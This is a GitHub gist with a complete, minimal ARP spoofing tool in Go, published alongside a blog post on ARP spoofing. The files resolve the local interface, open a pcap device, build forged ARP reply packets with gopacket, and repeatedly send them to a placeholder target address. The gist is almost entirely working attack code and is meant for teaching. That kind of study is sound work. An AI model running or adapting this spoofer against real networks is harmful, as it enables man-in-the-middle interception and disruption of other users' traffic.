Skip to content

Instantly share code, notes, and snippets.

@kkrypt0nn
Last active March 27, 2024 11:24
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kkrypt0nn/4225a88859d5a2bcc7d621e4fa7f2982 to your computer and use it in GitHub Desktop.
Save kkrypt0nn/4225a88859d5a2bcc7d621e4fa7f2982 to your computer and use it in GitHub Desktop.
A very minimalist ARP spoofer written in Go for my blog post available at https://krypton.ninja/What-is-ARP-Spoofing
package main
import (
"net"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
)
type Address struct {
ip net.IP
mac net.HardwareAddr
}
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
return &Address{
ip: ip,
mac: mac,
}
}
func (a *Address) GetIP() net.IP {
return a.ip
}
func (a *Address) GetMAC() net.HardwareAddr {
return a.mac
}
var Options = gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
ethLayer := layers.Ethernet{
SrcMAC: src.mac,
DstMAC: dst.mac,
EthernetType: layers.EthernetTypeARP,
}
arpLayer := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: src.mac,
SourceProtAddress: src.ip.To4(),
DstHwAddress: dst.mac,
DstProtAddress: dst.ip.To4(),
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, Options, &ethLayer, &arpLayer); err != nil {
return nil, err
}
return buffer.Bytes(), nil
}
module github.com/kkrypt0nn/arp-spoofer
go 1.20
require (
github.com/google/gopacket v1.1.19
github.com/kkrypt0nn/logger.go v1.4.1
)
require golang.org/x/sys v0.7.0 // indirect
package main
import (
"github.com/google/gopacket/pcap"
"net"
"strings"
"time"
)
// Obviously these are not accurate & fictive addresses
const (
TargetIP = "192.168.13.37"
TargetMAC = "13:de:ad:be:ef:37"
Timeout = 5 * time.Second
TotalPacketsToSend = 15
)
func main() {
// Create a new session
s := NewSession()
// Get the interface
ifaces, err := net.Interfaces()
if err != nil {
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error())
return
}
for _, iface := range ifaces {
if iface.HardwareAddr == nil {
continue
}
addrs, err := iface.Addrs()
if err != nil {
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error())
return
}
for _, addr := range addrs {
if strings.Split(addr.String(), "/")[0] == s.ip.String() {
// Set the current interface & MAC address
s.iface = iface
s.mac = iface.HardwareAddr
break
}
}
}
// Get the device to listen to
devices, err := pcap.FindAllDevs()
if err != nil {
s.logger.Fatal("Failed to retrieve devices: " + err.Error())
return
}
for _, device := range devices {
for _, address := range device.Addresses {
if address.IP.To4().String() == s.ip.String() {
s.device = device
break
}
}
}
// Open the device and be prepared to send the spoofed packets
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
if err != nil {
s.logger.Fatal("Failed to open device: " + err.Error())
return
}
// Prepare the ARP reply packet
src := NewAddress(s.ip, s.mac)
mac, _ := net.ParseMAC(TargetMAC)
dst := NewAddress(net.ParseIP(TargetIP), mac)
arpReply, _ := NewARPReplyPacket(src, dst)
s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String())
// Send the packets
for i := 0; i < TotalPacketsToSend; i++ {
err = handler.WritePacketData(arpReply)
if err != nil {
s.logger.Error("Failed to send packet: " + err.Error())
}
time.Sleep(Timeout)
}
}
package main
import (
"github.com/google/gopacket/pcap"
"github.com/kkrypt0nn/logger.go"
"net"
)
// Some wacky way to get the outbound IP address ^-^
func getOutboundIP() net.IP {
conn, err := net.Dial("udp", "8.8.8.8:80")
if err != nil {
panic(err)
}
defer conn.Close()
return conn.LocalAddr().(*net.UDPAddr).IP
}
type Session struct {
iface net.Interface
device pcap.Interface
ip net.IP
mac net.HardwareAddr
logger *logger.Logger
}
func NewSession() *Session {
return &Session{
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it..
logger: logger.NewLogger(),
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment